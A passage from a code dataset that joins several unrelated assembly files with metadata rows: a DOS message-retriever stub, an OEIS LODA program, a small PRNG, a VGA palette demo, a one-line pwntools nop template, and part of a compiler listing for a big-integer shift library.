; pop bp ; restore user's bp
; ret
;
;_sysgetmsg endp
_sysdispmsg proc near
push bp ; save user's base pointer
mov bp,sp ; set bp to current sp
push di ; save some registers
push si
; copy C inregs into proper registers
mov di,[bp+4] ; fix di (arg 0)
;-------------------------------------------------------------------
mov ax,[di+0ah] ; load di
push ax ; the di value from inregs is now on stack
mov ax,[di+00] ; get inregs.x.ax
mov bx,[di+02] ; get inregs.x.bx
mov cx,[di+04] ; get inregs.x.cx
mov dx,[di+06] ; get inregs.x.dx
mov si,[di+08] ; get inregs.x.si
pop di ; get inregs.x.di from stack
push bp ; save base pointer
;-------------------------------------------------------------------
call sysdispmsg ; call the message retriever
;-------------------------------------------------------------------
pop bp ; restore base pointer
push di ; the di value from call is now on stack
mov di,[bp+6] ; fix di (arg 1)
mov [di+00],ax ; load outregs.x.ax
mov [di+02],bx ; load outregs.x.bx
mov [di+04],cx ; load outregs.x.cx
mov [di+06],dx ; load outregs.x.dx
mov [di+08],si ; load outregs.x.si
lahf ; get flags into ax
mov al,ah ; move into low byte
mov [di+0ch],ax ; load outregs.x.cflag
pop ax ; get di from stack
mov [di+0ah],ax ; load outregs.x.di
;-------------------------------------------------------------------
pop si ; restore registers
pop di
mov sp,bp ; restore sp
pop bp ; restore user's bp
ret
_sysdispmsg endp
include msgdcl.inc
_TEXT ends ; end code segment
end
| 25.532 | 82 | 0.515118 |
16082611e1ee823db9889fcf7189d9057e6d2f2e | 798 | asm | Assembly | oeis/186/A186511.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/186/A186511.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/186/A186511.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A186511: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) after g(j) when f(i)=g(j), where f(i)=i^2 and g(j)=-4+5j^2. Complement of A186512.
; Submitted by Simon Strandgaard
; 2,3,4,6,7,8,10,11,13,14,16,17,18,20,21,23,24,26,27,28,30,31,33,34,36,37,39,40,42,43,44,46,47,49,50,52,53,55,56,57,59,60,62,63,65,66,68,69,70,72,73,75,76,78,79,81,82,83,85,86,88,89,91,92,94,95,96,98,99,101,102,104,105,107,108,110,111,112,114,115,117,118,120,121,123,124,125,127,128,130,131,133,134,136,137,138,140,141,143,144
mov $1,$0
seq $1,85577 ; Size of maximal subset of the n^2 cells in an n X n grid such that there are at least 3 edges between any pair of chosen cells.
seq $1,196 ; Integer part of square root of n. Or, number of positive squares <= n. Or, n appears 2n+1 times.
add $0,$1
add $0,1
| 79.8 | 326 | 0.689223 |
d6197990109ea65ee841fcdaff4e03f3a6479258 | 1,210 | asm | Assembly | kernel/utility/random.asm | paulscottrobson/eris | cf102530334ed86360deb20f0e41af1e10f5d584 | [
"MIT"
] | 13 | 2020-03-31T08:21:22.000Z | 2021-07-28T20:03:29.000Z | kernel/utility/random.asm | paulscottrobson/eris | cf102530334ed86360deb20f0e41af1e10f5d584 | [
"MIT"
] | 37 | 2020-03-31T06:35:37.000Z | 2020-09-17T08:56:48.000Z | kernel/utility/random.asm | paulscottrobson/eris | cf102530334ed86360deb20f0e41af1e10f5d584 | [
"MIT"
] | 5 | 2020-05-10T10:23:06.000Z | 2022-01-14T02:21:02.000Z | ; *****************************************************************************
; *****************************************************************************
;
; Name: random.asm
; Purpose: Simple 16 bit PRNG.
; Created: 8th March 2020
; Reviewed: 16th March 2020
; Author: Paul Robson (paul@robsons.org.uk)
;
; *****************************************************************************
; *****************************************************************************
; *****************************************************************************
;
; 16 bit LFSR / timer random number generator.
;
; *****************************************************************************
.OSXRandom16
push r1
ldm r0,#randomSeed
mov r1,r0,#0
ror r0,#9
and r0,#$FF80
xor r0,r1,#0
mov r1,r0,#0
ror r0,#7
and r0,#$01FF
xor r0,r1,#0
mov r1,r0,#0
ror r0,#8
and r0,#$FF00
xor r0,r1,#0
stm r0,#randomSeed
pop r1
ret
; *****************************************************************************
;
; Set the random seed
;
; *****************************************************************************
.OSXRandomSeed
stm r0,#randomSeed
ret
| 22.830189 | 79 | 0.278512 |
bfdeec8c523271e3c7a24d9b75ab58a10456ff67 | 1,029 | asm | Assembly | examples/vga/e2.asm | crgimenes/assembly | 0e0abbf68a44ae7e7c2e2c2a495c8a68ac072da5 | [
"MIT"
] | 1 | 2020-06-29T05:27:38.000Z | 2020-06-29T05:27:38.000Z | examples/vga/e2.asm | crgimenes/assembly | 0e0abbf68a44ae7e7c2e2c2a495c8a68ac072da5 | [
"MIT"
] | null | null | null | examples/vga/e2.asm | crgimenes/assembly | 0e0abbf68a44ae7e7c2e2c2a495c8a68ac072da5 | [
"MIT"
] | 3 | 2019-08-13T10:09:50.000Z | 2022-02-24T16:43:22.000Z | ; to compile DOS COM file: nasm -o palette.com palette.asm
; to run it with dosbox: dosbox palette.com -exit
BITS 16
ORG 100h
start:
mov ax,13h
int 10h
; draw palette in 32x8 squares, each square 5x5 pixels big (so 160x40px)
push 0a000h
pop es
xor di,di
xor ax,ax ; color
mov cx,8 ; big rows (each having 32 5x5 squares)
bigRowLoop:
mov bx,5 ; pixel height of single row
rowLoop:
mov dx,32 ; squares per row
push ax
push di
squareLoop:
; draw 5 pixels with "ah:al" color, ++color, di += 5
mov [es:di],ax
mov [es:di+2],ax
mov [es:di+4],al
add ax,0101h
add di,5
dec dx
jnz squareLoop
pop di
pop ax ; restore color for first square
add di,320 ; move di to start of next line
dec bx ; do next single pixel line
jnz rowLoop
; one row of color squares is drawn, now next 32 colors
add ax,02020h ; color += 32
dec cx
jnz bigRowLoop
; wait for any key and exit
xor ah,ah
int 16h
ret
| 24.5 | 74 | 0.619048 |
09d21742e40e5e80b77d071ddc09ec06636691e5 | 64 | asm | Assembly | pwnlib/shellcraft/templates/i386/nop.asm | DrKeineLust/pwntools | 415f11bba7096b7d68fe144f5b3432b9c12a4f0a | [
"MIT"
] | 8,966 | 2015-01-02T11:58:14.000Z | 2022-03-31T21:19:56.000Z | pwnlib/shellcraft/templates/i386/nop.asm | DrKeineLust/pwntools | 415f11bba7096b7d68fe144f5b3432b9c12a4f0a | [
"MIT"
] | 1,401 | 2015-01-01T00:56:22.000Z | 2022-03-31T16:19:53.000Z | pwnlib/shellcraft/templates/i386/nop.asm | DrKeineLust/pwntools | 415f11bba7096b7d68fe144f5b3432b9c12a4f0a | [
"MIT"
] | 1,844 | 2015-01-07T04:38:06.000Z | 2022-03-30T03:54:46.000Z | <%docstring>A single-byte nop instruction.</%docstring>
nop
| 21.333333 | 55 | 0.71875 |
f22b77597273edf9042783b8c12ca3dc388e284e | 109,064 | asm | Assembly | Palmtree.Math.Core.Implements/vs_build/x86_Release/pmc_shift.asm | rougemeilland/Palmtree.Math.Core.Implements | 52f4f6c765d16c9b0baf1fd212c61a33daae138c | [
"MIT"
] | null | null | null | Palmtree.Math.Core.Implements/vs_build/x86_Release/pmc_shift.asm | rougemeilland/Palmtree.Math.Core.Implements | 52f4f6c765d16c9b0baf1fd212c61a33daae138c | [
"MIT"
] | null | null | null | Palmtree.Math.Core.Implements/vs_build/x86_Release/pmc_shift.asm | rougemeilland/Palmtree.Math.Core.Implements | 52f4f6c765d16c9b0baf1fd212c61a33daae138c | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
TITLE Z:\Sources\Lunor\Repos\rougemeilland\Palmtree.Math.Core.Implements\Palmtree.Math.Core.Implements\pmc_shift.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
PUBLIC _RightShift_Imp_DIV
PUBLIC _RightShift_Imp
PUBLIC _LeftShift_Imp_DIV
PUBLIC _LeftShift_Imp
PUBLIC _Initialize_Shift
PUBLIC _PMC_RightShift_X_I@12
PUBLIC _PMC_RightShift_X_L@16
PUBLIC _PMC_LeftShift_X_I@12
PUBLIC _PMC_LeftShift_X_L@16
EXTRN _CheckBlockLight:PROC
EXTRN _AllocateNumber:PROC
EXTRN _CommitNumber:PROC
EXTRN _CheckNumber:PROC
EXTRN _DuplicateNumber:PROC
EXTRN _number_zero:BYTE
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __ZERO_MEMORY_UNIT_DIV
_TEXT SEGMENT
_d$ = 8 ; size = 4
_count$ = 12 ; size = 4
__ZERO_MEMORY_UNIT_DIV PROC ; COMDAT
; 127 : {
push ebp
mov ebp, esp
; 128 : #ifdef _M_IX86
; 129 : __stosd((unsigned long*)d, 0, (unsigned long)count);
mov ecx, DWORD PTR _count$[ebp]
xor eax, eax
push edi
mov edi, DWORD PTR _d$[ebp]
rep stosd
pop edi
; 130 : #elif defined(_M_X64)
; 131 : #ifdef _MSC_VER
; 132 : __stosd((unsigned long*)d, 0, (unsigned long)count);
; 133 : #elif defined(__GNUC__)
; 134 : __stosq(d, 0, count);
; 135 : #else
; 136 : #error unknown compiler
; 137 : #endif
; 138 : #else
; 139 : #error unknown platform
; 140 : #endif
; 141 : }
pop ebp
ret 0
__ZERO_MEMORY_UNIT_DIV ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __ZERO_MEMORY_UNIT
_TEXT SEGMENT
_d$ = 8 ; size = 4
_count$ = 12 ; size = 4
__ZERO_MEMORY_UNIT PROC ; COMDAT
; 116 : {
push ebp
mov ebp, esp
; 117 : #ifdef _M_IX86
; 118 : __stosd((unsigned long*)d, 0, (unsigned long)count);
mov ecx, DWORD PTR _count$[ebp]
xor eax, eax
push edi
mov edi, DWORD PTR _d$[ebp]
rep stosd
pop edi
; 119 : #elif defined(_M_X64)
; 120 : __stosq(d, 0, count);
; 121 : #else
; 122 : #error unknown platform
; 123 : #endif
; 124 : }
pop ebp
ret 0
__ZERO_MEMORY_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __COPY_MEMORY_UNIT_DIV
_TEXT SEGMENT
_d$ = 8 ; size = 4
_s$ = 12 ; size = 4
_count$ = 16 ; size = 4
__COPY_MEMORY_UNIT_DIV PROC ; COMDAT
; 77 : {
push ebp
mov ebp, esp
; 78 : #ifdef _M_IX86
; 79 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov ecx, DWORD PTR _count$[ebp]
push esi
mov esi, DWORD PTR _s$[ebp]
push edi
mov edi, DWORD PTR _d$[ebp]
rep movsd
pop edi
pop esi
; 80 : #elif defined(_M_X64)
; 81 : #ifdef _MSC_VER
; 82 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
; 83 : #elif defined(__GNUC__)
; 84 : __movsq(d, s, count);
; 85 : #else
; 86 : #error unknown compiler
; 87 : #endif
; 88 : #else
; 89 : #error unknown platform
; 90 : #endif
; 91 : }
pop ebp
ret 0
__COPY_MEMORY_UNIT_DIV ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __COPY_MEMORY_UNIT
_TEXT SEGMENT
_d$ = 8 ; size = 4
_s$ = 12 ; size = 4
_count$ = 16 ; size = 4
__COPY_MEMORY_UNIT PROC ; COMDAT
; 66 : {
push ebp
mov ebp, esp
; 67 : #ifdef _M_IX86
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov ecx, DWORD PTR _count$[ebp]
push esi
mov esi, DWORD PTR _s$[ebp]
push edi
mov edi, DWORD PTR _d$[ebp]
rep movsd
pop edi
pop esi
; 69 : #elif defined(_M_X64)
; 70 : __movsq(d, s, count);
; 71 : #else
; 72 : #error unknown platform
; 73 : #endif
; 74 : }
pop ebp
ret 0
__COPY_MEMORY_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _PMC_LeftShift_X_L@16
_TEXT SEGMENT
_p$ = 8 ; size = 4
_n$ = 12 ; size = 8
_o$ = 20 ; size = 4
_PMC_LeftShift_X_L@16 PROC ; COMDAT
; 722 : if (__UNIT_TYPE_BIT_COUNT < sizeof(n) * 8)
; 723 : {
; 724 : // _UINT64_T が 1 ワードで表現しきれない処理系には対応しない
; 725 : return (PMC_STATUS_NOT_SUPPORTED);
mov eax, -6 ; fffffffaH
; 726 : }
; 727 : if (p == NULL)
; 728 : return (PMC_STATUS_ARGUMENT_ERROR);
; 729 : if (o == NULL)
; 730 : return (PMC_STATUS_ARGUMENT_ERROR);
; 731 : NUMBER_HEADER* np = (NUMBER_HEADER*)p;
; 732 : NUMBER_HEADER* no;
; 733 : PMC_STATUS_CODE result;
; 734 : if ((result = CheckNumber(np)) != PMC_STATUS_OK)
; 735 : return (result);
; 736 : if (np->IS_ZERO)
; 737 : *o = &number_zero;
; 738 : else if (n == 0)
; 739 : {
; 740 : if ((result = DuplicateNumber(np, &no)) != PMC_STATUS_OK)
; 741 : return (result);
; 742 : *o = no;
; 743 : }
; 744 : else
; 745 : {
; 746 : __UNIT_TYPE p_bit_count = np->UNIT_BIT_COUNT;
; 747 : __UNIT_TYPE o_bit_count = p_bit_count + (__UNIT_TYPE)n;
; 748 : __UNIT_TYPE no_light_check_code;
; 749 : if ((result = AllocateNumber(&no, o_bit_count, &no_light_check_code)) != PMC_STATUS_OK)
; 750 : return (result);
; 751 : LeftShift_Imp(np->BLOCK, np->UNIT_WORD_COUNT, (__UNIT_TYPE)n, no->BLOCK, FALSE);
; 752 : if ((result = CheckBlockLight(no->BLOCK, no_light_check_code)) != PMC_STATUS_OK)
; 753 : return (result);
; 754 : CommitNumber(no);
; 755 : *o = no;
; 756 : }
; 757 : #ifdef _DEBUG
; 758 : if ((result = CheckNumber(*o)) != PMC_STATUS_OK)
; 759 : return (result);
; 760 : #endif
; 761 : return (PMC_STATUS_OK);
; 762 : }
ret 16 ; 00000010H
_PMC_LeftShift_X_L@16 ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _PMC_LeftShift_X_I@12
_TEXT SEGMENT
_no$ = 8 ; size = 4
_p$ = 8 ; size = 4
_n$ = 12 ; size = 4
_no_light_check_code$1 = 16 ; size = 4
_o$ = 16 ; size = 4
_PMC_LeftShift_X_I@12 PROC ; COMDAT
; 677 : {
push ebp
mov ebp, esp
push esi
; 678 : if (__UNIT_TYPE_BIT_COUNT < sizeof(n) * 8)
; 679 : {
; 680 : // _UINT32_T が 1 ワードで表現しきれない処理系には対応しない
; 681 : return (PMC_STATUS_NOT_SUPPORTED);
; 682 : }
; 683 : if (p == NULL)
mov esi, DWORD PTR _p$[ebp]
push edi
test esi, esi
je $LN14@PMC_LeftSh
; 684 : return (PMC_STATUS_ARGUMENT_ERROR);
; 685 : if (o == NULL)
mov edi, DWORD PTR _o$[ebp]
test edi, edi
je $LN14@PMC_LeftSh
; 687 : NUMBER_HEADER* np = (NUMBER_HEADER*)p;
; 688 : NUMBER_HEADER* no;
; 689 : PMC_STATUS_CODE result;
; 690 : if ((result = CheckNumber(np)) != PMC_STATUS_OK)
push esi
call _CheckNumber
add esp, 4
test eax, eax
jne SHORT $LN1@PMC_LeftSh
; 691 : return (result);
; 692 : if (np->IS_ZERO)
test BYTE PTR [esi+24], 2
push ebx
je SHORT $LN6@PMC_LeftSh
; 693 : *o = &number_zero;
pop ebx
mov DWORD PTR [edi], OFFSET _number_zero
pop edi
; 718 : }
pop esi
pop ebp
ret 12 ; 0000000cH
$LN6@PMC_LeftSh:
; 694 : else if (n == 0)
mov ebx, DWORD PTR _n$[ebp]
test ebx, ebx
jne SHORT $LN8@PMC_LeftSh
; 695 : {
; 696 : if ((result = DuplicateNumber(np, &no)) != PMC_STATUS_OK)
lea eax, DWORD PTR _no$[ebp]
push eax
push esi
call _DuplicateNumber
add esp, 8
test eax, eax
je SHORT $LN16@PMC_LeftSh
$LN15@PMC_LeftSh:
pop ebx
$LN1@PMC_LeftSh:
pop edi
; 718 : }
pop esi
pop ebp
ret 12 ; 0000000cH
$LN8@PMC_LeftSh:
; 697 : return (result);
; 698 : *o = no;
; 699 : }
; 700 : else
; 701 : {
; 702 : __UNIT_TYPE p_bit_count = np->UNIT_BIT_COUNT;
; 703 : __UNIT_TYPE o_bit_count = p_bit_count + n;
mov eax, DWORD PTR [esi+12]
; 704 : __UNIT_TYPE no_light_check_code;
; 705 : if ((result = AllocateNumber(&no, o_bit_count, &no_light_check_code)) != PMC_STATUS_OK)
lea ecx, DWORD PTR _no_light_check_code$1[ebp]
add eax, ebx
push ecx
push eax
lea eax, DWORD PTR _no$[ebp]
push eax
call _AllocateNumber
add esp, 12 ; 0000000cH
test eax, eax
jne SHORT $LN15@PMC_LeftSh
; 706 : return (result);
; 707 : LeftShift_Imp(np->BLOCK, np->UNIT_WORD_COUNT, n, no->BLOCK, FALSE);
push eax
mov eax, DWORD PTR _no$[ebp]
push DWORD PTR [eax+32]
push ebx
push DWORD PTR [esi+8]
push DWORD PTR [esi+32]
call _LeftShift_Imp
; 708 : if ((result = CheckBlockLight(no->BLOCK, no_light_check_code)) != PMC_STATUS_OK)
mov eax, DWORD PTR _no$[ebp]
push DWORD PTR _no_light_check_code$1[ebp]
push DWORD PTR [eax+32]
call _CheckBlockLight
add esp, 28 ; 0000001cH
test eax, eax
jne SHORT $LN15@PMC_LeftSh
; 709 : return (result);
; 710 : CommitNumber(no);
push DWORD PTR _no$[ebp]
call _CommitNumber
add esp, 4
$LN16@PMC_LeftSh:
; 711 : *o = no;
; 712 : }
; 713 : #ifdef _DEBUG
; 714 : if ((result = CheckNumber(*o)) != PMC_STATUS_OK)
; 715 : return (result);
; 716 : #endif
; 717 : return (PMC_STATUS_OK);
mov eax, DWORD PTR _no$[ebp]
pop ebx
mov DWORD PTR [edi], eax
xor eax, eax
pop edi
; 718 : }
pop esi
pop ebp
ret 12 ; 0000000cH
$LN14@PMC_LeftSh:
pop edi
; 686 : return (PMC_STATUS_ARGUMENT_ERROR);
or eax, -1
; 718 : }
pop esi
pop ebp
ret 12 ; 0000000cH
_PMC_LeftShift_X_I@12 ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _PMC_RightShift_X_L@16
_TEXT SEGMENT
_p$ = 8 ; size = 4
_n$ = 12 ; size = 8
_o$ = 20 ; size = 4
_PMC_RightShift_X_L@16 PROC ; COMDAT
; 629 : if (__UNIT_TYPE_BIT_COUNT < sizeof(n) * 8)
; 630 : {
; 631 : // _UINT64_T が 1 ワードで表現しきれない処理系には対応しない
; 632 : return (PMC_STATUS_NOT_SUPPORTED);
mov eax, -6 ; fffffffaH
; 633 : }
; 634 : if (p == NULL)
; 635 : return (PMC_STATUS_ARGUMENT_ERROR);
; 636 : if (o == NULL)
; 637 : return (PMC_STATUS_ARGUMENT_ERROR);
; 638 : NUMBER_HEADER* np = (NUMBER_HEADER*)p;
; 639 : NUMBER_HEADER* no;
; 640 : PMC_STATUS_CODE result;
; 641 : if ((result = CheckNumber(np)) != PMC_STATUS_OK)
; 642 : return (result);
; 643 : if (np->IS_ZERO)
; 644 : *o = &number_zero;
; 645 : else if (n == 0)
; 646 : {
; 647 : if ((result = DuplicateNumber(np, &no)) != PMC_STATUS_OK)
; 648 : return (result);
; 649 : *o = no;
; 650 : }
; 651 : else
; 652 : {
; 653 : __UNIT_TYPE p_bit_count = np->UNIT_BIT_COUNT;
; 654 : if (p_bit_count <= n)
; 655 : *o = &number_zero;
; 656 : else
; 657 : {
; 658 : __UNIT_TYPE o_bit_count = p_bit_count - (__UNIT_TYPE)n;
; 659 : __UNIT_TYPE no_light_check_code;
; 660 : if ((result = AllocateNumber(&no, o_bit_count, &no_light_check_code)) != PMC_STATUS_OK)
; 661 : return (result);
; 662 : RightShift_Imp(np->BLOCK, np->UNIT_WORD_COUNT, (__UNIT_TYPE)n, no->BLOCK, FALSE);
; 663 : if ((result = CheckBlockLight(no->BLOCK, no_light_check_code)) != PMC_STATUS_OK)
; 664 : return (result);
; 665 : CommitNumber(no);
; 666 : *o = no;
; 667 : }
; 668 : }
; 669 : #ifdef _DEBUG
; 670 : if ((result = CheckNumber(*o)) != PMC_STATUS_OK)
; 671 : return (result);
; 672 : #endif
; 673 : return (PMC_STATUS_OK);
; 674 : }
ret 16 ; 00000010H
_PMC_RightShift_X_L@16 ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _PMC_RightShift_X_I@12
_TEXT SEGMENT
_no$ = 8 ; size = 4
_p$ = 8 ; size = 4
_n$ = 12 ; size = 4
_no_light_check_code$1 = 16 ; size = 4
_o$ = 16 ; size = 4
_PMC_RightShift_X_I@12 PROC ; COMDAT
; 579 : {
push ebp
mov ebp, esp
push esi
; 580 : if (__UNIT_TYPE_BIT_COUNT < sizeof(n) * 8)
; 581 : {
; 582 : // _UINT32_T が 1 ワードで表現しきれない処理系には対応しない
; 583 : return (PMC_STATUS_NOT_SUPPORTED);
; 584 : }
; 585 : if (p == NULL)
mov esi, DWORD PTR _p$[ebp]
push edi
test esi, esi
je $LN17@PMC_RightS
; 586 : return (PMC_STATUS_ARGUMENT_ERROR);
; 587 : if (o == NULL)
mov edi, DWORD PTR _o$[ebp]
test edi, edi
je $LN17@PMC_RightS
; 589 : NUMBER_HEADER* np = (NUMBER_HEADER*)p;
; 590 : NUMBER_HEADER* no;
; 591 : PMC_STATUS_CODE result;
; 592 : if ((result = CheckNumber(np)) != PMC_STATUS_OK)
push esi
call _CheckNumber
add esp, 4
test eax, eax
jne $LN1@PMC_RightS
; 593 : return (result);
; 594 : if (np->IS_ZERO)
test BYTE PTR [esi+24], 2
push ebx
jne $LN16@PMC_RightS
; 595 : *o = &number_zero;
; 596 : else if (n == 0)
mov ebx, DWORD PTR _n$[ebp]
test ebx, ebx
jne SHORT $LN8@PMC_RightS
; 597 : {
; 598 : if ((result = DuplicateNumber(np, &no)) != PMC_STATUS_OK)
lea eax, DWORD PTR _no$[ebp]
push eax
push esi
call _DuplicateNumber
add esp, 8
test eax, eax
jne SHORT $LN18@PMC_RightS
; 599 : return (result);
; 600 : *o = no;
mov eax, DWORD PTR _no$[ebp]
pop ebx
mov DWORD PTR [edi], eax
; 618 : }
; 619 : }
; 620 : #ifdef _DEBUG
; 621 : if ((result = CheckNumber(*o)) != PMC_STATUS_OK)
; 622 : return (result);
; 623 : #endif
; 624 : return (PMC_STATUS_OK);
xor eax, eax
pop edi
; 625 : }
pop esi
pop ebp
ret 12 ; 0000000cH
$LN8@PMC_RightS:
; 601 : }
; 602 : else
; 603 : {
; 604 : __UNIT_TYPE p_bit_count = np->UNIT_BIT_COUNT;
mov eax, DWORD PTR [esi+12]
; 605 : if (p_bit_count <= n)
cmp eax, ebx
jbe SHORT $LN16@PMC_RightS
; 607 : else
; 608 : {
; 609 : __UNIT_TYPE o_bit_count = p_bit_count - n;
; 610 : __UNIT_TYPE no_light_check_code;
; 611 : if ((result = AllocateNumber(&no, o_bit_count, &no_light_check_code)) != PMC_STATUS_OK)
lea ecx, DWORD PTR _no_light_check_code$1[ebp]
sub eax, ebx
push ecx
push eax
lea eax, DWORD PTR _no$[ebp]
push eax
call _AllocateNumber
add esp, 12 ; 0000000cH
test eax, eax
jne SHORT $LN18@PMC_RightS
; 612 : return (result);
; 613 : RightShift_Imp(np->BLOCK, np->UNIT_WORD_COUNT, n, no->BLOCK, FALSE);
push eax
mov eax, DWORD PTR _no$[ebp]
push DWORD PTR [eax+32]
push ebx
push DWORD PTR [esi+8]
push DWORD PTR [esi+32]
call _RightShift_Imp
; 614 : if ((result = CheckBlockLight(no->BLOCK, no_light_check_code)) != PMC_STATUS_OK)
mov eax, DWORD PTR _no$[ebp]
push DWORD PTR _no_light_check_code$1[ebp]
push DWORD PTR [eax+32]
call _CheckBlockLight
add esp, 28 ; 0000001cH
test eax, eax
jne SHORT $LN18@PMC_RightS
; 615 : return (result);
; 616 : CommitNumber(no);
push DWORD PTR _no$[ebp]
call _CommitNumber
; 617 : *o = no;
mov eax, DWORD PTR _no$[ebp]
add esp, 4
mov DWORD PTR [edi], eax
; 618 : }
; 619 : }
; 620 : #ifdef _DEBUG
; 621 : if ((result = CheckNumber(*o)) != PMC_STATUS_OK)
; 622 : return (result);
; 623 : #endif
; 624 : return (PMC_STATUS_OK);
xor eax, eax
pop ebx
pop edi
; 625 : }
pop esi
pop ebp
ret 12 ; 0000000cH
$LN16@PMC_RightS:
; 606 : *o = &number_zero;
mov DWORD PTR [edi], OFFSET _number_zero
; 618 : }
; 619 : }
; 620 : #ifdef _DEBUG
; 621 : if ((result = CheckNumber(*o)) != PMC_STATUS_OK)
; 622 : return (result);
; 623 : #endif
; 624 : return (PMC_STATUS_OK);
xor eax, eax
$LN18@PMC_RightS:
pop ebx
$LN1@PMC_RightS:
pop edi
; 625 : }
pop esi
pop ebp
ret 12 ; 0000000cH
$LN17@PMC_RightS:
pop edi
; 588 : return (PMC_STATUS_ARGUMENT_ERROR);
or eax, -1
; 625 : }
pop esi
pop ebp
ret 12 ; 0000000cH
_PMC_RightShift_X_I@12 ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _Initialize_Shift
_TEXT SEGMENT
_feature$ = 8 ; size = 4
_Initialize_Shift PROC ; COMDAT
; 766 : return (PMC_STATUS_OK);
xor eax, eax
; 767 : }
ret 0
_Initialize_Shift ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _LeftShift_Imp
_TEXT SEGMENT
_n_word_count$1$ = -12 ; size = 4
_count$1$ = -8 ; size = 4
_n_rshift_bit_count$1$ = -4 ; size = 4
_p_count$1$ = 8 ; size = 4
_p$ = 8 ; size = 4
_work$62$ = 12 ; size = 4
_p_word_count$ = 12 ; size = 4
_n$ = 16 ; size = 4
_o$ = 20 ; size = 4
_padding_zero$ = 24 ; size = 4
_LeftShift_Imp PROC ; COMDAT
; 309 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
; 310 : __UNIT_TYPE* pp = p;
; 311 : __UNIT_TYPE p_count = p_word_count;
; 312 : __UNIT_TYPE* op = o;
; 313 : __UNIT_TYPE n_word_count = n / __UNIT_TYPE_BIT_COUNT;
; 314 : __UNIT_TYPE n_lshift_bit_count = n % __UNIT_TYPE_BIT_COUNT;
; 315 : if (n_lshift_bit_count == 0)
mov ecx, DWORD PTR _p_word_count$[ebp]
push esi
push edi
mov edi, DWORD PTR _n$[ebp]
mov edx, edi
shr edx, 5
and edi, 31 ; 0000001fH
mov DWORD PTR _n_word_count$1$[ebp], edx
mov DWORD PTR _n$[ebp], edi
jne SHORT $LN4@LeftShift_
; 319 : if (padding_zero)
cmp DWORD PTR _padding_zero$[ebp], 0
mov eax, DWORD PTR _o$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov esi, DWORD PTR _p$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 318 : _COPY_MEMORY_UNIT(op + n_word_count, pp, p_count);
lea edi, DWORD PTR [eax+edx*4]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
rep movsd
